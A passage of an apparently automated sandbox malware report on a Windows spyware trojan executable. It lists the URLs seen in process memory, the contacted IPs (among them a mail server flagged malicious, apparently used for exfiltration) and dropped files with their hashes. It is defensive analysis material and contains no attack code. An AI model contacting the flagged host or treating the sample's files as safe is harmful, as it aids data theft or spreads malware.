http://creativecommons.org/licenses/by-sa/4.0/	media-removable.png.1.dr	false		high
http://www.certeurope.fr/reference/root2.crl0	CasPol.exe, 00000003.00000002.20404261436.0000000020106000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certplus.com/CRL/class2.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.disig.sk/ca/crl/ca_disig.crl0	CasPol.exe, 00000003.00000002.20404063483.00000000200E0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://eca.hinet.net/repository/Certs/IssuedToThisCA.p7b05	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.defence.gov.au/pki0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	CasPol.exe, 00000003.00000003.15723880039.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sk.ee/cps/0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.globaltrust.info0=	CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.anf.es	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_1_0.pdf09	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.google.com/_1	CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16840295258.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17006207627.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pki.registradores.org/normativa/index.htm0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cps.root-x1.letsencrypt.org0	CasPol.exe, 00000003.00000002.20397811168.000000001D3A2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372959813.00000000010AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372758608.000000000108C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://policy.camerfirma.com0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ssc.lt/cps03	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.pki.gva.es0	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.anf.es/es/address-direccion.html	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.anf.es/address/)1(0&	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ca.mtin.es/mtin/ocsp0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.letsencrypt.org0	CasPol.exe, 00000003.00000002.20397811168.000000001D3A2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372959813.00000000010AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20372758608.000000000108C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ssc.lt/root-b/cacrl.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.ncdc.gov.sa/crl/nrcacomb1.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certicamara.com/dpc/0Z	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pki.wellsfargo.com/wsprca.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	false		high
https://wwww.certigna.fr/autorites/0m	CasPol.exe, 00000003.00000003.17282584231.00000000201D4000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281631999.00000000201D2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17282106098.00000000201D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.dnie.es/dpc0	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://doc-0c-74-docs.googleusercontent.com/t	CasPol.exe, 00000003.00000003.17013096892.0000000000E8D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ca.mtin.es/mtin/DPCyPoliticas0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.anf.es/AC/ANFServerCA.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	FRACCIONAMIENTO 1722403906461L.exe	false		high
http://www.globaltrust.info0	CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certificates.starfieldtech.com/repository/1604	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://acedicom.edicomgroup.com/doc0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	false		high
https://crl.anf.es/AC/ANFServerCA.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17283285158.000000002017E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certeurope.fr/reference/pc-root2.pdf0	CasPol.exe, 00000003.00000002.20404261436.0000000020106000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ac.economia.gob.mx/last.crl0G	CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.catcert.net/verarrel	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.disig.sk/ca0f	CasPol.exe, 00000003.00000002.20404063483.00000000200E0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	CasPol.exe, 00000003.00000003.17282183298.000000002019A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.e-szigno.hu/RootCA.crl	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sk.ee/juur/crl/0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.chambersign.org/chambersignroot.crl0	CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.xrampsecurity.com/XGCA.crl0	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certs.oati.net/repository/OATICA2.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.oces.trust2408.com/oces.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadis.bm0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://eca.hinet.net/repository0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ssc.lt/root-a/cacrl.crl0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://jimmac.musichall.czif	emblem-unreadable.png.1.dr	false	Avira URL Cloud: safe	unknown
http://certs.oaticerts.com/repository/OATICA2.crl	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.trustdst.com/certificates/policy/ACES-index.html0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certs.oati.net/repository/OATICA2.crt0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.accv.es00	CasPol.exe, 00000003.00000003.17282183298.000000002019A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pkioverheid.nl/policies/root-policy-G20	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.netlock.net/docs	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.e-trust.be/CPS/QNcerts	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.ncdc.gov.sa0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fedir.comsign.co.il/crl/ComSignCA.crl0	CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/z	CasPol.exe, 00000003.00000003.17000172750.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15863927680.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16693592833.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16929138845.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818747013.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15818032084.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0	CasPol.exe, 00000003.00000003.17282183298.000000002019A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://web.ncdc.gov.sa/crl/nrcaparta1.crl	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.datev.de/zertifikat-policy-int0	CasPol.exe, 00000003.00000003.17282183298.000000002019A000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/websearch/answer/86640	CasPol.exe, 00000003.00000003.16839976993.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16782400609.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16240989645.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16999808542.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16506792862.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16161065605.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16610080924.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16928461959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15817800617.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16692720156.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15723729253.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16060307959.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16302066204.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15637036827.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.16364711225.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.15970356224.0000000000EA2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;	CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mail.ferdi.hu	CasPol.exe, 00000003.00000002.20397811168.000000001D3A2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://repository.luxtrust.lu0	CasPol.exe, 00000003.00000003.17280609313.00000000201DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cps.chambersign.org/cps/chambersroot.html0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.acabogacia.org0	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.eca.hinet.net/OCSP/ocspG2sha20	CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.174	drive.google.com	United States	15169	GOOGLEUS	false
142.250.186.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
185.51.191.23	mail.ferdi.hu	Hungary	43359	TARHELYHU	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	612103
Start date and time: 20/04/202215:27:00	2022-04-20 15:27:00 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 26s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	FRACCIONAMIENTO 1722403906461L.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/13@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 93.184.221.240, 8.253.207.121, 67.27.158.254, 67.26.73.254, 67.27.158.126, 67.27.159.126
Excluded domains from analysis (whitelisted): spclient.wg.spotify.com, client.wns.windows.com, fg.download.windowsupdate.com.c.footprint.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, wdcp.microsoft.com, arc.msn.com, wu-bg-shim.trafficmanager.net, wu.azureedge.net, ris.api.iris.microsoft.com, wdcpalt.microsoft.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, img-prod-cms-rt-microsoft-com.akamaized.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:29:22	API Interceptor	1957x Sleep call for process: CasPol.exe modified

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	data
Category:	modified
Size (bytes):	290
Entropy (8bit):	3.3126026948132434
Encrypted:	false
SSDEEP:	6:kKjUpV8B3kN+SkQlPlEGYRMY9z+4KlDA3RUe/:LWVa7kPlE99SNxAhUe/
MD5:	55C95B18829BF15A0E308E7559527261
SHA1:	BB7130E15F1C8A4CE0EDF11C7CFA0F8B15DEE1D7
SHA-256:	B3A2F2FEF7D228CF5D5D77E1454C683B002E4D1BFF5BE9A752227C5BC73DD748
SHA-512:	D2F10081947E75E29C8D1BE5F6CE918744946BE8B9C2A2CCDD4AAA1FD54F196BA78D4BFC17BBE21BE3ACB0E637B5A986178320E532A88BC9C11314CB53F28B50
Malicious:	false
Reputation:	low
Preview:	p...... ..........m..T..(....................................................T.. ........%,.)..................@...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...

C:\Users\user\AppData\Local\Temp\camera-hardware-disabled-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	216
Entropy (8bit):	6.561875161973391
Encrypted:	false
SSDEEP:	6:6v/lhPysbg1s0zIRU4MNfxwp/Dn4fqUz41p:6v/77gfzIm4aqprnRb
MD5:	6F86F050B74E4FC04A1F375E8E2744A9
SHA1:	3060A2BA1BE38388DC86FB43E3826B1045407551
SHA-256:	2647746C3F2852DF0693865D4EBDC22FD6AAE4E725F8EA13C263766C98AFB787
SHA-512:	10969F0A23D81064E7BBE980AA10D4D42C1713157F9EB725737FAF666326066BC75082F10D5976F803BDED998CFC5BB6EA51D373A5E1A30B3F0CE940BAD235DC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...1..Q...L5Q.....`.. .E.....(44&1.g"...;......d.%.AK...0c.?..].W..H.....;...)...D.gjlqy..8a.L.3...A........u...k.8C..6M.I..J,:....~...0.\...P....IEND.B`.

C:\Users\user\AppData\Local\Temp\emblem-unreadable.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 8 x 8, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	347
Entropy (8bit):	6.38137890298033
Encrypted:	false
SSDEEP:	6:6v/lhPZo+aWdKcfi+2jlAVVziUdCyENoKuAkmHXkg6u2p+bp:6v/7R4aZKjCVdCyENyTg72pA
MD5:	0916297AA635A852B181B815131AFD11
SHA1:	46E2E8BAAB9D8C299833F45924CD5C58869B26E4
SHA-256:	72428164FA2F8DF4FDED0E5213A4043729929CA53AE3F7C0BED73ED1BF835AE1
SHA-512:	902C50D12BBBEE1BF0D4D938D12809BA79277BA891E51D6802590878DAFD49D8F7429671E333335AF8FE0811283CD8DFFE72C27ABCA345B729BE66E3E9C3342F
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.....................pHYs..........o.d....tEXtSoftware.www.inkscape.org..<.....tEXtAuthor.Jakub Steiner.../....tEXtDescription.mimetypes7..d...!tEXtSource.http://jimmac.musichall.czif.^...zIDAT..}.-..@....p.=AC.a.XDe.Q.?....c ....F.,..d..dF<.b.4..* ..:h^&.4&N...t.....~h..z3^.....{..v......u..Y...<+\|.$...owq..{\h......IEND.B`.

C:\Users\user\AppData\Local\Temp\mail-signed.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	501
Entropy (8bit):	7.4316463225570235
Encrypted:	false
SSDEEP:	12:6v/7e8otKtOqI81sIANbOA1k9cT+83NBO7GdV095m:oaGc81sd9k9c62NBO76V0/m
MD5:	DAB703E211118D187B2FCB4FB0E43124
SHA1:	5539F00C552DC23AB09EF2797F74412D12F0D8BA
SHA-256:	D4D203344A07ECF9E755E9396C7986A84B7F8684AA94F87C64CFDAD29E3558CE
SHA-512:	41CD1A9DDF90EE76BD66FC96FA188ED56573F433B2743DF84014FE022173703029A294B12749FA21BD7F57695134FD99B92A681DD6A0934AC1AA904BB0C3220B
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR................a....IDATx.....$A.D.O.k.t....m.m..v..S]cv^...x.......z.@\..w....?~p.O.a7v....UB...v..yp...CA.1M...?.1...y..CR...v......B......oD;Rv..w......m.....L...u.LJ..v.@Y.C.R.J..&.&.n...<..e...q....>2.4.&.U..J.}Sk.#W^...p..G.....X.f3..g.c..X..6...5...g..!.....\..il.8w....b.]..yL.xU}$....{.Uw._..o-..............p.........=...OQ...(..(.;.k.....J."FL<.......oA.\R....f....\1w...1i.....Jj}....J7.CD=..Z..W.(....w..,.b...vc.....m...v....zt3.W.....IEND.B`.

C:\Users\user\AppData\Local\Temp\media-removable.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.403819222634866
Encrypted:	false
SSDEEP:	12:6v/7maZB4RO4HE+swFImYYh1EBYwBREz/7AdqJuT+wZqlz9W9s24zYCK0Xwr/zN:tak15rEZGj7UqPWqlRWquCKV/J
MD5:	32148C57FEC1C44D630694C2F3EB9C79
SHA1:	7D241B5BFEFF379A96AECC6D20A2B85A40FDB460
SHA-256:	F5948768EE8A33988F530948A10EC8333BB2AE91450C4A0FFDA6C78E9E454AC2
SHA-512:	1F7F216461F1348BE09E0A57EAF75BB595E95105C3729601741E54337629C684FD620292CD6267465C1CF65BBA6E17DC0F6CB81C44182474812496520CDE65E6
Malicious:	false
Preview:	.PNG........IHDR................a....pHYs..........o.d....tEXtSoftware.www.inkscape.org..<.....tEXtTitle.Adwaita Icon Template...?....tEXtAuthor.GNOME Design Team`.v~...RtEXtCopyright.CC Attribution-ShareAlike http://creativecommons.org/licenses/by-sa/4.0/.Tb....&IDAT8...KH.Q.....;.k.i.R..z'.(..".2Z.J!......M...@...(.q.E.....X.J#...6.:...w..p&...~p6..?... .....w....e.g..#._.Z.....@....!..H:...b..c-GS..'#..X(.l...v.c.ci......7O..O......>.J.E...y...f.b.D"B8..:h9.h....kmO..[..U...9W.....b.h..\e446`T.-.\..R47. ......R.}..a~....&....D-LC.........b...:dc...`...}.J...........-.6v.DqR...%c.........w6_/...f1..a.....Z......F..!C8..#.A...r.&...Q.bn....X.y..D.q0>8...g...<$.8#..c#_.!..M..........\|.C4X.....;.q...dW[.r'.`.^...x....3O?.\|...K\..~...L<.'.L".R....3.Ks..L...l......f..{9=..z3........>.......IEND.B`.

C:\Users\user\AppData\Local\Temp\monotocardiac.dat

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	data
Category:	dropped
Size (bytes):	114102
Entropy (8bit):	4.590163620452223
Encrypted:	false
SSDEEP:	768:t/GyI2l2XmzoEf1woV2kTCzhf0RUJswAFtnkFmhvkhmAd6P+sRkv:VhkXyjR2kTeeRUw7hshmAynev
MD5:	FE6B2641187E785DD0264A4D4A783B59
SHA1:	FDFC09D27370575972E25756DE665B82D372BD76
SHA-256:	8D6EF611ED26F02C8A5B80721628AEF8766F501F130AC25ED120E281BB2A0A24
SHA-512:	A1D6F07C4E8F7117EE77945F7AFE1D98A4BB9BED190552E075383BC1F2E6C35385A4D2429D9E45AAF3EE5980B2D0832DB7BCEC973DF829896220845C7C3E22DB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsr68C1.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.814115788739565
Encrypted:	false
SSDEEP:	192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
MD5:	CFF85C549D536F651D4FB8387F1976F2
SHA1:	D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
SHA-256:	8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
SHA-512:	531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\preferences-system-network-proxy-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	287
Entropy (8bit):	6.877606568262548
Encrypted:	false
SSDEEP:	6:6v/lhPyso9FwH4OWXHQNBVTEoL2NfawlZywceJCSHGq7UZ56Iqgaeup:6v/7IsHuQlTEWyy5wca/Hz7UZ5jqnec
MD5:	739EF7135750B4A34587B311374CFD3B
SHA1:	2C7BB533D0C3B0FB2E953E21C949A38CCADCB994
